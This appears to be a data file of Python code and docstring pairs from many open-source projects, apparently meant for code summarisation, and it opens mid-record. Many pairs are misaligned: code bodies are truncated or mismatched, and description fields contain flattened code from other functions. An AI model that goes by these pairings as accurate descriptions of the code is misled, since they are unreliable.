``setup.py`` isautomatically created alongside the downloaded file.If `spec` is a ``Requirement`` object or a string containing aproject/version requirement spec, this method returns the location ofa matching distribution (possibly after downloading it to `tmpdir`).If `spec` is a locally existing file or directory name, it is simplyreturned unchanged. If `spec` is a URL, it is downloaded to a subpathof `tmpdir`, and the local filename is returned. Various errors may beraised if a problem occurs during downloading."} {"code": "def Main():\n a = 0\n b = 0\n\n c = 22\n\n while a < 7:\n\n a = a + 1\n\n if a == 7:\n break\n\n while c > 20:\n c = c - 5\n\n return a + b + c", "nl": ":return:"} {"code": "def update_sidebar_text(self, end):\n if end == self.prev_end:\n return\n\n width_difference = len(str(end)) - len(str(self.prev_end))\n if width_difference:\n cur_width = int(float(self.sidebar_text['width']))\n new_width = cur_width + width_difference\n self.sidebar_text['width'] = self._sidebar_width_type(new_width)\n\n self.sidebar_text.config(state=tk.NORMAL)\n if end > self.prev_end:\n new_text = '\\n'.join(itertools.chain(\n [''],\n map(str, range(self.prev_end + 1, end + 1)),\n ))\n self.sidebar_text.insert(f'end -1c', new_text, 'linenumber')\n else:\n self.sidebar_text.delete(f'{end+1}.0 -1c', 'end -1c')\n self.sidebar_text.config(state=tk.DISABLED)\n\n self.prev_end = end\n\n", "nl": "Perform the following action:Each line sidebar_text contains the linenumber for that lineSynchronize with editwin.text so that both sidebar_text andeditwin.text contain the same number of lines"} {"code": "def num_devices_per_split(self):\n if self.synchronous and self.job == 'trainer_client':\n return self.num_splits_per_replica * self.num_replicas\n elif self.synchronous and self.job == 'executor_tpu':\n return self.num_splits_per_replica * self.num_replicas\n else:\n return self.num_splits_per_replica\n\n @property", "nl": "Return number of accelerators to use per split.return self.job_spec.devices_per_split@propertydef num_splits_per_replica(self):# Note that a split must be within a replica.assert self.num_devices_per_replica % self.num_devices_per_split == 0return int(self.num_devices_per_replica / self.num_devices_per_split)@propertydef num_splits_per_client(self):The number of splits visible by one trainer client."} {"code": "def showPointData(self, state, chart=True):\n parameters = [\"tdb\", \"twb\", \"tdp\", \"w\", \"HR\", \"v\", \"h\"]\n stateChanged = QtCore.pyqtSignal(PsyState)\n pressureChanged = QtCore.pyqtSignal()\n", "nl": "Update data of current cursor point in plot annotatesself.clearPointData()txt = []for key in (\"tdb\", \"tdp\", \"twb\", \"HR\", \"w\", \"h\", \"v\", \"rho\"):txt.append((\"%s: %s\" % (key, state.__getattribute__(key).str),))if chart:loc = \"upper left\"else:loc = \"lower right\"self.ax.table(cellText=txt, loc=loc, cellLoc=\"left\", colLoc=\"left\")self.ax.tables[0].auto_set_column_width(0)self.draw()def clearPointData(self):while self.ax.tables:self.ax.tables.pop()self.draw()class PsychroInput(QtWidgets.QWidget):Widget with parameter for psychrometric state"} {"code": "def app_installed(app_name):\n return (\n not os.system('pgrep -f \"{app_name}\" > /dev/null'.format(app_name=app_name))\n == 256\n )\n\n", "nl": "checks if app installedpaths = [\"/Applications/\" + app_name, \"~/Applications/\" + app_name]for path in paths:if os.path.isdir(path):return pathreturndef app_running(app_name):checks if app running"} {"code": "def wait(self, timeout=15):\n\n Probe(timeout=timeout, fnc=self.is_ready, expected_retval=True).run()\n\n @staticmethod", "nl": "block until pod is not ready, raises an exc ProbeTimeout if timeout is reached:param timeout: int or float (seconds), time to wait for pod to run:return: None"} {"code": "def reshape_to_matrix(input_tensor):\n if len(orig_shape_list) == 2:\n return output_tensor\n\n output_shape = get_shape_list(output_tensor)\n\n orig_dims = orig_shape_list[0:-1]\n width = output_shape[-1]\n\n return tf.reshape(output_tensor, orig_dims + [width])\n\n", "nl": "Reshapes a >= rank 2 tensor to a rank 2 tensor (i.e., a matrix).ndims = input_tensor.shape.ndimsif ndims < 2:raise ValueError(\"Input tensor must have at least rank 2. Shape = %s\" %(input_tensor.shape))if ndims == 2:return input_tensorwidth = input_tensor.shape[-1]output_tensor = tf.reshape(input_tensor, [-1, width])return output_tensordef reshape_from_matrix(output_tensor, orig_shape_list):Reshapes a rank 2 tensor back to its original rank >= 2 tensor."} {"code": "def replace_emails(text: str, replace_with: str = \"*EMAIL*\") -> str:\n text = constants.EMAIL_REGEX.sub(replace_with, text)\n return text\n\n", "nl": "----Copyright 2016 Chartbeat, Inc.Code from textacy: https://github.com/chartbeat-labs/textacy----Replace all emails in ``text`` str with ``replace_with`` strParameters----------text : stringreplace_with : stringthe string you want the email address to be replaced with.Returns-------string"} {"code": "def push(project, branch, bypass_review=False, dry_run=False, reviewers=None, topic=None):\n git = qisrc.git.Git(project.path)\n review_remote = project.review_remote\n args = list()\n if dry_run:\n args.append(\"--dry-run\")\n args.append(review_remote.url)\n if bypass_review:\n args.append(\"%s:%s\" % (branch, branch))\n else:\n ui.info(\"Pushing code to\", review_remote.name, \"for review.\")\n remote_ref = \"refs/for/%s\" % branch\n if topic:\n remote_ref = \"%s/%s\" % (remote_ref, topic)\n args.append(\"%s:%s\" % (branch, remote_ref))\n if reviewers and not dry_run:\n remote = project.review_remote\n remote.parse_url()\n server = remote.server\n username = remote.username\n ssh_port = remote.port\n ui.info(\"Fetching\", remote.name)\n git.fetch(remote.name, \"--quiet\")\n commits_pushed = git.get_log(\"%s/%s\" % (remote.name, branch), \"HEAD\")\n sha1s = [commit[\"sha1\"] for commit in commits_pushed]\n git.push(*args)\n if reviewers and not dry_run:\n ui.info(\"Adding reviewers...\", (\"(\" + \", \".join(reviewers) + \")\"))\n try:\n set_reviewers(sha1s, reviewers, username, server, ssh_port)\n except qisys.command.CommandFailedException as e:\n ui.warning(\"Couldn't set reviewers\")\n ui.warning(e)\n else:\n ui.info(\"Done!\")\n\n", "nl": "Push the changes for review.Unless review is False, in this case, simply updatethe remote gerrit branch:param reviewers: A list of reviewers to invite to review"} {"code": "def dataset_split_with_predictions(self, table_key: PredictionTableKey) -> Dataset:\n prediction_table = self._get_prediction_table(table_key)\n ds: Dataset = concatenate_datasets([self._base_dataset_split, prediction_table], axis=1)\n return ds\n\n @property", "nl": "Return dataset_split concatenated with the prediction table for the specified values.Args:table_key: Key to the table.Returns:Dataset with predictions if possible."} {"code": "def my_fn(x, seeds):\n text = x[text_key]\n words = tf.strings.split([text]).values\n if max_words_total:\n words = random_chunk(words, max_words_total, seed=seeds[0])\n n_words = tf.size(words)\n length = tf.cast(\n tf.exp(\n tf.random.stateless_uniform(\n [],\n minval=math.log(min_words_per_segment),\n maxval=math.log(max_words_per_segment),\n seed=seeds[1],\n )\n ),\n tf.int32)\n num_segments = tf.cast(\n tf.math.ceil(\n tf.cast(n_words, tf.float32) / tf.cast(length, tf.float32)\n ),\n tf.int32)\n padding = num_segments * length - n_words\n words = tf.pad(words, [[0, padding]])\n words = tf.reshape(words, [-1, length])\n words = tf.strings.reduce_join(words, axis=1, separator=' ')\n return {text_key: tf.strings.strip(words)}\n\n return my_fn(dataset).unbatch()\n\n", "nl": "Split one string into multiple strings.Args:x: a feature dictionaryseeds: an int32 Tensor, shaped (2, 2), the random seeds.Returns:a feature dictionary"} {"code": "def attachKernelDriver(self, interface):\n mayRaiseUSBError(\n libusb1.libusb_attach_kernel_driver(self.__handle, interface),\n )\n", "nl": "Ask kernel driver to re-attach to given interface number."} {"code": "def read_event(self, check_result):\n try:\n event = json.loads(check_result)\n event['occurrences'] = event.get('occurrences', 1)\n event['check'] = event.get('check', {})\n event['client'] = event.get('client', {})\n return event\n except Exception:\n raise ValueError('error reading event: ' + check_result)\n", "nl": "Convert the piped check result (json) into a global 'event' dict"} {"code": "def get_disasm(self, address, count=1):\n code = PEDA.execute_redirect(\"x/%di 0x%x\" % (count, address))\n return code.rstrip()\n\n @memoized", "nl": "Get the ASM code of instruction at addressArgs:- address: address to read instruction (Int)- count: number of code lines (Int)Returns:- asm code (String)"} {"code": "def setBoardIndex(self, boardIndex):\n create an intro movie of the trolley coming to switch 0\n \"\"\"", "nl": " server setting which of the 4 board layouts we'll use self.boardIndex = boardIndexdef getIntroMovie(self):"} {"code": "def as_view(cls, view_type, *init_args, **init_kwargs):\n @wraps(cls)", "nl": "Used for hooking up the all endpoints (including custom ones), thisreturns a wrapper function that creates a new instance of the resourceclass & calls the correct view method for it.:param view_type: Should be one of ``list``, ``detail`` or ``custom``.:type view_type: string:param init_args: (Optional) Positional params to be persisted alongfor instantiating the class itself.:param init_kwargs: (Optional) Keyword params to be persisted alongfor instantiating the class itself.:returns: View function"} {"code": "def read_bytes(self):\n with self.open(mode='rb') as f:\n return f.read()\n", "nl": "Open the file in bytes mode, read it, and close the file."} {"code": "def mcnemar(reference, estimated_a, estimated_b):\n\n if len(reference) != len(estimated_a) or len(reference) != len(estimated_b):\n raise ValueError('Input arrays needs to be same length.')\n\n reference = numpy.array(reference)\n estimated_a = numpy.array(estimated_a)\n estimated_b = numpy.array(estimated_b)\n\n correct_a = estimated_a == reference\n correct_b = estimated_b == reference\n\n incorrect_a = estimated_a != reference\n incorrect_b = estimated_b != reference\n\n b = float( numpy.sum( numpy.logical_and(incorrect_a, correct_b) ) )\n c = float( numpy.sum( numpy.logical_and(correct_a, incorrect_b) ) )\n\n if b + c > 0:\n return (numpy.abs(b - c) - 1)**2 / (b + c)\n else:\n return 0", "nl": "McNemar's testWikipedia entry https://en.wikipedia.org/wiki/McNemar%27s_testParameters----------reference : listReference valueestimated_a : listSystem output Aestimated_b : listSystem output BReturns-------floatexact P-value"} {"code": "def report_new_account(config):\n", "nl": "Informs the user about their new ACME account.reporter = zope.component.queryUtility(interfaces.IReporter)if reporter is None:returnreporter.add_message(\"Your account credentials have been saved in your Certbot \"\"configuration directory at {0}. You should make a secure backup \"\"of this folder now. This configuration directory will also \"\"contain certificates and private keys obtained by Certbot \"\"so making regular backups of this folder is ideal.\".format(config.config_dir),reporter.MEDIUM_PRIORITY)class AccountMemoryStorage(interfaces.AccountStorage):In-memory account storage."} {"code": "def testImporterAttr(self):\n pyc = make_pyc(compile(src, \"\", \"exec\"), NOW)\n files = {TESTMOD + pyc_ext: (NOW, pyc),\n \"some.data\": (NOW, \"some data\")}\n self.doTest(pyc_ext, files, TESTMOD)\n", "nl": "src = if 1: # indent hackdef get_file():return __file__if __loader__.get_data(\"some.data\") != \"some data\":raise AssertionError, \"bad data\"\\n"} {"code": "def _load_terminated_dialogues(self) -> None:\n Get all dialogues with opponent address from specified collection.\n\n :param address: address for lookup.\n :param: collection: collection to get dialogues from.\n\n :return: list of dialogues\n \"\"\"", "nl": "Skip terminated dialogues loading, cause it's offloaded.def _get_dialogues_by_address_from_collection(self, address: Address, collection: SyncCollection) -> List[\"Dialogue\"]:"} {"code": "def __init__(self, whens, value=None, else_=None):\n\n try:\n whens = util.dictlike_iteritems(whens)\n except TypeError:\n pass\n\n if value is not None:\n whenlist = [\n (_literal_as_binds(c).self_group(),\n _literal_as_binds(r)) for (c, r) in whens\n ]\n else:\n whenlist = [\n (_no_literals(c).self_group(),\n _literal_as_binds(r)) for (c, r) in whens\n ]\n\n if whenlist:\n type_ = list(whenlist[-1])[-1].type\n else:\n type_ = None\n\n if value is None:\n self.value = None\n else:\n self.value = _literal_as_binds(value)\n\n self.type = type_\n self.whens = whenlist\n if else_ is not None:\n self.else_ = _literal_as_binds(else_)\n else:\n self.else_ = None\n", "nl": "Produce a ``CASE`` expression.The ``CASE`` construct in SQL is a conditional object thatacts somewhat analogously to an \"if/then\" construct in otherlanguages. It returns an instance of :class:`.Case`.:func:`.case` in its usual form is passed a list of \"when\"constructs, that is, a list of conditions and results as tuples::from sqlalchemy import casestmt = select([users_table]).\\\\where(case([(users_table.c.name == 'wendy', 'W'),(users_table.c.name == 'jack', 'J')],else_='E'))The above statement will produce SQL resembling::SELECT id, name FROM userWHERE CASEWHEN (name = :name_1) THEN :param_1WHEN (name = :name_2) THEN :param_2ELSE :param_3ENDWhen simple equality expressions of several values against a singleparent column are needed, :func:`.case` also has a \"shorthand\" formatused via the:paramref:`.case.value` parameter, which is passed a columnexpression to be compared. In this form, the :paramref:`.case.whens`parameter is passed as a dictionary containing expressions to becompared against keyed to result expressions. The statement below isequivalent to the preceding statement::stmt = select([users_table]).\\\\where(case({\"wendy\": \"W\", \"jack\": \"J\"},value=users_table.c.name,else_='E'))The values which are accepted as result values in:paramref:`.case.whens` as well as with :paramref:`.case.else_` arecoerced from Python literals into :func:`.bindparam` constructs.SQL expressions, e.g. :class:`.ColumnElement` constructs, are acceptedas well. To coerce a literal string expression into a constantexpression rendered inline, use the :func:`.literal_column` construct,as in::from sqlalchemy import case, literal_columncase([(orderline.c.qty > 100,literal_column(\"'greaterthan100'\")),(orderline.c.qty > 10,literal_column(\"'greaterthan10'\"))],else_=literal_column(\"'lessthan10'\"))The above will render the given constants without using boundparameters for the result values (but still for the comparisonvalues), as in::CASEWHEN (orderline.qty > :qty_1) THEN 'greaterthan100'WHEN (orderline.qty > :qty_2) THEN 'greaterthan10'ELSE 'lessthan10'END:param whens: The criteria to be compared against,:paramref:`.case.whens` accepts two different forms, based onwhether or not :paramref:`.case.value` is used.In the first form, it accepts a list of 2-tuples; each 2-tupleconsists of ``(, )``, where the SQLexpression is a boolean expression and \"value\" is a resulting value,e.g.::case([(users_table.c.name == 'wendy', 'W'),(users_table.c.name == 'jack', 'J')])In the second form, it accepts a Python dictionary of comparisonvalues mapped to a resulting value; this form requires:paramref:`.case.value` to be present, and values will be comparedusing the ``==`` operator, e.g.::case({\"wendy\": \"W\", \"jack\": \"J\"},value=users_table.c.name):param value: An optional SQL expression which will be used as afixed \"comparison point\" for candidate values within a dictionarypassed to :paramref:`.case.whens`.:param else\\_: An optional SQL expression which will be the evaluatedresult of the ``CASE`` construct if all expressions within:paramref:`.case.whens` evaluate to false. When omitted, mostdatabases will produce a result of NULL if none of the \"when\"expressions evaluate to true."} {"code": "def load_mnist():\n (x_train, y_train), (x_test, y_test) = mnist.load_data()\n x_train = normalize_images(x_train)\n x_test = normalize_images(x_test)\n\n x_train = x_train.reshape(-1, 28, 28, 1)\n x_test = x_test.reshape(-1, 28, 28, 1)\n y_train = np_utils.to_categorical(y_train)\n y_test = np_utils.to_categorical(y_test)\n\n num_of_test_data = 50000\n x_val = x_train[num_of_test_data:]\n y_val = y_train[num_of_test_data:]\n x_train = x_train[:num_of_test_data]\n y_train = y_train[:num_of_test_data]\n\n return (x_train, y_train), (x_val, y_val), (x_test, y_test)\n\n", "nl": "Load mnist data sets for training, validation, and test.Args:NoneReturns:(x_train, y_train): (4-D array, 2-D array)(x_val, y_val): (4-D array, 2-D array)(x_test, y_test): (4-D array, 2-D array)"} {"code": "def test_ineq_list(self):\n q = ['a']\n w = Widget(queue=q)\n self.engine.save(w)\n with self.assertRaises(TypeError):\n self.engine.scan(Widget).filter(Widget.queue.in_([q])).all()\n", "nl": " Cannot use inequality filters on list fields q = ['a']w = Widget(queue=q)self.engine.save(w)with self.assertRaises(TypeError):self.engine.scan(Widget).filter(Widget.queue <= q).all()def test_in_list(self): Can use 'in' filter on list fields "} {"code": "def get_stop_price(self, is_buy):\n return self.stop_price\n\n\nclass ExchangeStopLimitOrder(StopLimitOrder):", "nl": "We may be trading Satoshis with 8 decimals, we cannot round numbers.Parameters----------is_buy: boolReturns-------float"} {"code": "def encode_rgba(self, code):\n", "nl": "code.append(vec4 EncodeFloatRGBA( float v ) {//vec4 enc = vec4(1.0, 255.0, 65025.0, 16581375.0) * v;vec4 enc = vec4(1.0, 255.0, 65535.0, 16777215.0) * v;enc = fract(enc);enc -= enc.yzww * vec4(1.0/255.0, 1.0/255.0, 1.0/255.0, 0.0);return enc;})"} {"code": "def test_get_raw_content(self):\n feed = Feed(self.client, raw_data=True, feed='continuous', timeout=100)\n raw_content = list()\n for raw_line in feed:\n self.assertIsInstance(raw_line, BYTETYPE)\n if not raw_line and self.is_couchdb_1x_version():\n self.create_dbs()\n else:\n raw_content.append(raw_line)\n if len(raw_content) == 3:\n feed.stop()\n changes = [json.loads(unicode_(x)) for x in raw_content]\n self.assert_changes_in_db_updates_feed(changes)\n", "nl": "Test getting raw feed content"} {"code": "def getPhoneInfoFromPhoneNumber(self, region, phoneNumber):\n self.send_getPhoneInfoFromPhoneNumber(region, phoneNumber)\n return self.recv_getPhoneInfoFromPhoneNumber()\n", "nl": "Parameters:- region- phoneNumber"} {"code": "def close(self):\n pass\n\n\n_blocking_errnos = set([errno.EAGAIN, errno.EWOULDBLOCK])\n\n\nclass HTTPConnectionPool(ConnectionPool, RequestMethods):\n \"\"\"", "nl": "Close all pooled connections and disable the pool."} {"code": "def pelix_bundles(self):\n framework = self.__context.get_framework()\n return {\n bundle.get_bundle_id(): {\n \"name\": bundle.get_symbolic_name(),\n \"version\": bundle.get_version(),\n \"state\": bundle.get_state(),\n \"location\": bundle.get_location(),\n }\n for bundle in framework.get_bundles()\n }\n", "nl": "List of installed bundles"} {"code": "def preloop(self):\n return.\n\n \"\"\"", "nl": "Hook method executed once when the cmdloop() method is called.passdef postloop(self):Hook method executed once when the cmdloop() method is about to"} {"code": "def save(output_file, catalog):\n output_file.write(unicode(catalog))\n\n", "nl": "Save catalog to a PO file.This is mostly a stripped down copy of POFile.save so we can save thecatalog to a file safely created by click."} {"code": "def add_note(ctx, color, labels, title, text):\n keep = ctx.obj['keep']\n gnote = keep.createNote(title, text)\n if color:\n gnote.color = color\n add_labels(keep, gnote, labels)\n keep.sync()\n\n\n@notes.command('search', options_metavar='[options]')", "nl": "Add a new note to Google Keep.A title and a message body are required for the new note. For example:.. code-block:: shellgkeep notes add \"Today's tasks\" \"Install gkeep cli and configure it\"The syntax is:"} {"code": "def __init__(self, cfg, torch_model):\n super().__init__()\n self._wrapped_model = torch_model\n self.eval()\n set_caffe2_compatible_tensor_mode(self, True)\n", "nl": "Args:cfg (CfgNode):torch_model (nn.Module): the detectron2 model (meta_arch) to beconverted."} {"code": "def _log_disconnect(self):\n self._log_disconnect()\n\n super(BaseHandler, self).finish(chunk)\n", "nl": "Decrement connection countif self.logged:self.server.stats.on_conn_closed()self.logged = Falsedef finish(self, chunk=None):Tornado `finish` handler"} {"code": "def _add_subsystems(self, n):\n if self.locked:\n raise CircuitError(\"The Program is locked, no new subsystems can be created.\")\n if not isinstance(n, numbers.Integral) or n < 1:\n raise ValueError(\"Number of added subsystems {} is not a positive integer.\".format(n))\n\n first_unassigned_index = len(self.reg_refs)\n inds = [first_unassigned_index + i for i in range(n)]\n refs = tuple(RegRef(i) for i in inds)\n for r in refs:\n self.reg_refs[r.ind] = r\n self.unused_indices.update(inds)\n return refs\n", "nl": "Create new subsystem references, add them to the reg_ref dictionary.To avoid discrepancies with the backend this method must not be called directly,but rather indirectly by using :func:`~strawberryfields.ops.New`in a Program context... note:: This is the only place where :class:`RegRef` instances are constructed.Args:n (int): number of subsystems to addReturns:tuple[RegRef]: tuple of the newly added subsystem references"} {"code": "def Print(self, dc):\n if self.push:\n self.engine.AddRunningBlock(self.block)\n else:\n self.engine.RemoveRunningBlock(self.block)\n\n return True\n\n\nclass ListBlock(Block):\n \"\"\"\n", "nl": "Print this Block.Return True if the Block has finished printing"} {"code": "def layer(params, q):\n N = len(q)\n M = int(N * (N - 1)) + max(1, N - 1)\n\n int1 = params[:M]\n s = params[M : M + N]\n int2 = params[M + N : 2 * M + N]\n dr = params[2 * M + N : 2 * M + 2 * N]\n dp = params[2 * M + 2 * N : 2 * M + 3 * N]\n k = params[2 * M + 3 * N : 2 * M + 4 * N]\n\n interferometer(int1, q)\n\n for i in range(N):\n ops.Sgate(s[i]) | q[i]\n\n interferometer(int2, q)\n\n for i in range(N):\n ops.Dgate(dr[i], dp[i]) | q[i]\n ops.Kgate(k[i]) | q[i]\n\n", "nl": "CV quantum neural network layer acting on ``N`` modes.Args:params (list[float]): list of length ``2*(max(1, N-1) + N**2 + n)`` containingthe number of parameters for the layerq (list[RegRef]): list of Strawberry Fields quantum registers the layeris to be applied to"} {"code": "def checkInt(value, default, allowNone=False):\n if allowNone and (value is None or value == \"None\"):\n return None\n try:\n return int(value)\n except Exception:", "nl": "Check if a variable is an integer or a None."} {"code": "def detect_web_uri(uri):\n in the image to detect web entities.\"\"\"", "nl": "Detects web annotations in the file located in Google Cloud Storage.from google.cloud import visionclient = vision.ImageAnnotatorClient()image = vision.Image()image.source.image_uri = uriresponse = client.web_detection(image=image)annotations = response.web_detectionif annotations.best_guess_labels:for label in annotations.best_guess_labels:print('\\nBest guess label: {}'.format(label.label))if annotations.pages_with_matching_images:print('\\n{} Pages with matching images found:'.format(len(annotations.pages_with_matching_images)))for page in annotations.pages_with_matching_images:print('\\n\\tPage url : {}'.format(page.url))if page.full_matching_images:print('\\t{} Full Matches found: '.format(len(page.full_matching_images)))for image in page.full_matching_images:print('\\t\\tImage url : {}'.format(image.url))if page.partial_matching_images:print('\\t{} Partial Matches found: '.format(len(page.partial_matching_images)))for image in page.partial_matching_images:print('\\t\\tImage url : {}'.format(image.url))if annotations.web_entities:print('\\n{} Web entities found: '.format(len(annotations.web_entities)))for entity in annotations.web_entities:print('\\n\\tScore : {}'.format(entity.score))print(u'\\tDescription: {}'.format(entity.description))if annotations.visually_similar_images:print('\\n{} visually similar images found:\\n'.format(len(annotations.visually_similar_images)))for image in annotations.visually_similar_images:print('\\tImage url : {}'.format(image.url))if response.error.message:raise Exception('{}\\nFor more info on error messages, check: ''https://cloud.google.com/apis/design/errors'.format(response.error.message))# [END vision_web_detection_gcs]# [START vision_web_detection_include_geo]def web_entities_include_geo_results(path):Detects web annotations given an image, using the geotag metadata"} {"code": "def NMS(boxes, overlap_threshold):\n if boxes.shape[0] == 0:\n return boxes\n\n if boxes.dtype != numpy.float32:\n boxes = boxes.astype(numpy.float32)\n\n pick = []\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n sc = boxes[:, 4]\n widths = x2 - x1\n heights = y2 - y1\n\n area = heights * widths\n idxs = numpy.argsort(sc)\n\n while len(idxs) > 0:\n last = len(idxs) - 1\n i = idxs[last]\n pick.append(i)\n\n xx1 = numpy.maximum(x1[i], x1[idxs[:last]])\n yy1 = numpy.maximum(y1[i], y1[idxs[:last]])\n xx2 = numpy.minimum(x2[i], x2[idxs[:last]])\n yy2 = numpy.minimum(y2[i], y2[idxs[:last]])\n\n w = numpy.maximum(0, xx2 - xx1 + 1)\n h = numpy.maximum(0, yy2 - yy1 + 1)\n\n overlap = (w * h) / area[idxs[:last]]\n\n idxs = numpy.delete(idxs, numpy.concatenate(([last], numpy.where(overlap > overlap_threshold)[0])))\n\n return boxes[pick]\n\n\nclass Predict(object):\n _instance_lock = mx_lock\n\n @classmethod", "nl": ":param boxes: numpy nx5, n is the number of boxes, 0:4->x1, y1, x2, y2, 4->score:param overlap_threshold::return:"} {"code": "def _prepare_data(self, n_cells: int = 2000, n_genes: int = 100):\n sim = Simulator(num_observations=n_cells, num_features=n_genes)\n sim.generate_sample_description(num_batches=0, num_conditions=2)\n sim.generate_params()\n sim.generate_data()\n\n return sim\n", "nl": ":param n_cells: Number of cells to simulate (number of observations per test).:param n_genes: Number of genes to simulate (number of tests)."} {"code": "def in1d(ar1, ar2, assume_unique=False, invert=False):\n ar1 = np.asarray(ar1).ravel()\n ar2 = np.asarray(ar2).ravel()\n\n contains_object = ar1.dtype.hasobject or ar2.dtype.hasobject\n\n if len(ar2) < 10 * len(ar1) ** 0.145 or contains_object:\n if invert:\n mask = np.ones(len(ar1), dtype=bool)\n for a in ar2:\n mask &= (ar1 != a)\n else:\n mask = np.zeros(len(ar1), dtype=bool)\n for a in ar2:\n mask |= (ar1 == a)\n return mask\n\n if not assume_unique:\n ar1, rev_idx = np.unique(ar1, return_inverse=True)\n ar2 = np.unique(ar2)\n\n ar = np.concatenate((ar1, ar2))\n order = ar.argsort(kind='mergesort')\n sar = ar[order]\n if invert:\n bool_ar = (sar[1:] != sar[:-1])\n else:\n bool_ar = (sar[1:] == sar[:-1])\n flag = np.concatenate((bool_ar, [invert]))\n ret = np.empty(ar.shape, dtype=bool)\n ret[order] = flag\n\n if assume_unique:\n return ret[:len(ar1)]\n else:\n return ret[rev_idx]\n\n", "nl": "Test whether each element of a 1-D array is also present in a second array.Returns a boolean array the same length as `ar1` that is Truewhere an element of `ar1` is in `ar2` and False otherwise.We recommend using :func:`isin` instead of `in1d` for new code.Parameters----------ar1 : (M,) array_likeInput array.ar2 : array_likeThe values against which to test each value of `ar1`.assume_unique : bool, optionalIf True, the input arrays are both assumed to be unique, whichcan speed up the calculation. Default is False.invert : bool, optionalIf True, the values in the returned array are inverted (that is,False where an element of `ar1` is in `ar2` and True otherwise).Default is False. ``np.in1d(a, b, invert=True)`` is equivalentto (but is faster than) ``np.invert(in1d(a, b))``... versionadded:: 1.8.0Returns-------in1d : (M,) ndarray, boolThe values `ar1[in1d]` are in `ar2`.See Also--------isin : Version of this function that preserves theshape of ar1.numpy.lib.arraysetops : Module with a number of other functions forperforming set operations on arrays.Notes-----`in1d` can be considered as an element-wise function version of thepython keyword `in`, for 1-D sequences. ``in1d(a, b)`` is roughlyequivalent to ``np.array([item in b for item in a])``.However, this idea fails if `ar2` is a set, or similar (non-sequence)container: As ``ar2`` is converted to an array, in those cases``asarray(ar2)`` is an object array rather than the expected array ofcontained values... versionadded:: 1.4.0Examples-------->>> test = np.array([0, 1, 2, 5, 0])>>> states = [0, 2]>>> mask = np.in1d(test, states)>>> maskarray([ True, False, True, False, True])>>> test[mask]array([0, 2, 0])>>> mask = np.in1d(test, states, invert=True)>>> maskarray([False, True, False, True, False])>>> test[mask]array([1, 5])"} {"code": "def listAllCameras(self):\n cameraIds = self._vimba.getCameraIds()\n ar = []\n for cameraId in cameraIds:\n ar.append(self._vimba.getCamera(cameraId))\n return ar\n", "nl": "**SUMMARY**List all cameras attached to the host**RETURNS**List of VimbaCamera objects, otherwise empty listVimbaCamera objects are defined in the pymba module"} {"code": "def test_feed_from_annotations_item_guid(factories):\n feed = rss.feed_from_annotations(\n [], _annotation_url(), mock.Mock(), \"\", \"Hypothesis Stream\", \"\"\n )\n\n assert feed[\"title\"] == \"Hypothesis Stream\"\n\n", "nl": "Feed items should use the annotation's HTML URL as their GUID.annotation = factories.Annotation(created=datetime.datetime(year=2015, month=3, day=11))feed = rss.feed_from_annotations([annotation], _annotation_url(), mock.Mock(), \"\", \"\", \"\")assert feed[\"entries\"][0][\"guid\"] == (\"tag:hypothes.is,2015-09:\" + annotation.id)def test_feed_from_annotations_title():The feed should use the given title for its title field."} {"code": "def sleep_for_retry(self, response=None):\n get_logger().info('Running HTTP request sleep backoff')\n super()._sleep_backoff()\n", "nl": "Sleeps for Retry-After, and logs the sleep timeif response:retry_after = self.get_retry_after(response)if retry_after:get_logger().info('Got HTTP status %s with Retry-After header. Retrying after %s seconds...',response.status, retry_after)else:get_logger().info('Could not find Retry-After header for HTTP response %s. Status reason: %s',response.status, response.reason)return super().sleep_for_retry(response)def _sleep_backoff(self):Log info about backoff sleep"} {"code": "def step(self, x, h_tm1, src_encodings, src_encodings_att_linear, src_sent_masks=None):\n h_t, cell_t = self.decoder_lstm(x, h_tm1)\n\n ctx_t, alpha_t = nn_utils.dot_prod_attention(h_t,\n src_encodings, src_encodings_att_linear,\n mask=src_sent_masks)\n\n att_t = torch.tanh(self.att_vec_linear(torch.cat([h_t, ctx_t], 1)))\n att_t = self.dropout(att_t)\n\n return (h_t, cell_t), att_t\n", "nl": "a single LSTM decoding step"} {"code": "def as_set(self, preserve_casing=False):\n if preserve_casing:\n return set(self._headers)\n return set(self._set)\n", "nl": "Return the set as real python set type. When calling this, allthe items are converted to lowercase and the ordering is lost.:param preserve_casing: if set to `True` the items in the set returnedwill have the original case like in the:class:`HeaderSet`, otherwise they willbe lowercase."} {"code": "def modify_commandline_options(parser, is_train=True):\n assert not is_train, 'TestModel cannot be used during training time'", "nl": "Add new dataset-specific options, and rewrite default values for existing options.Parameters:parser -- original option parseris_train (bool) -- whether training phase or test phase. You can use this flag to add training-specific or test-specific options.Returns:the modified parser.The model can only be used during test time. It requires '--dataset_mode single'.You need to specify the network using the option '--model_suffix'."} {"code": "def within_group_type(self, within_group):\n\n return None\n", "nl": "For types that define their return type as based on the criteriawithin a WITHIN GROUP (ORDER BY) expression, called by the:class:`.WithinGroup` construct.Returns None by default, in which case the function's normal ``.type``is used."} {"code": "def test_property_rvalue_policy():\n\n instance = m.TestPropRVP()\n o = instance.rvalue\n assert o.value == 1\n\n os = m.TestPropRVP.static_rvalue\n assert os.value == 1\n\n\n@pytest.mark.xfail(\"env.PYPY\")", "nl": "When returning an rvalue, the return value policy is automatically changed from`reference(_internal)` to `move`. The following would not work otherwise."} {"code": "def send_command(self, cmd):\n while True:\n cmd = await self._cmd_queue.get()\n await cmd\n\n self._cmd_queue.task_done()\n", "nl": "Add a command to the command queue.self._cmd_queue.put_nowait(cmd)async def _run(self):Handle the command queue."} {"code": "def do_hash_tests(*args):\n if name == \"django\" or name == \"django-hashes\":\n do_hash_tests(\"django_.*_test\", \"hex_md5_test\")\n if name == \"django\":\n print_(\"passlib.tests.test_ext_django\")\n else:\n raise ValueError(\"unknown name: %r\" % name)\n", "nl": "return list of hash algorithm tests that match regexesif not args:print(TH_PATH)returnsuffix = ''args = list(args)while True:if args[0] == \"--method\":suffix = '.' + args[1]del args[:2]else:breakfrom passlib.tests import test_handlersnames = [TH_PATH + \":\" + name + suffix for name in dir(test_handlers)if not name.startswith(\"_\") and any(re.match(arg,name) for arg in args)]print_(\"\\n\".join(names))return not namesdef do_preset_tests(name):return list of preset test names"} {"code": "def from_torch_group(group, stream: Optional[torch.cuda.Stream] = None) -> BaguaProcessGroup:\n global __torch_group_id\n\n torch_group_id = __torch_group_id\n __torch_group_id += 1\n\n ranks = None\n if group in c10d._pg_group_ranks:\n ranks = list(c10d._pg_group_ranks[group].keys())", "nl": "Convert a 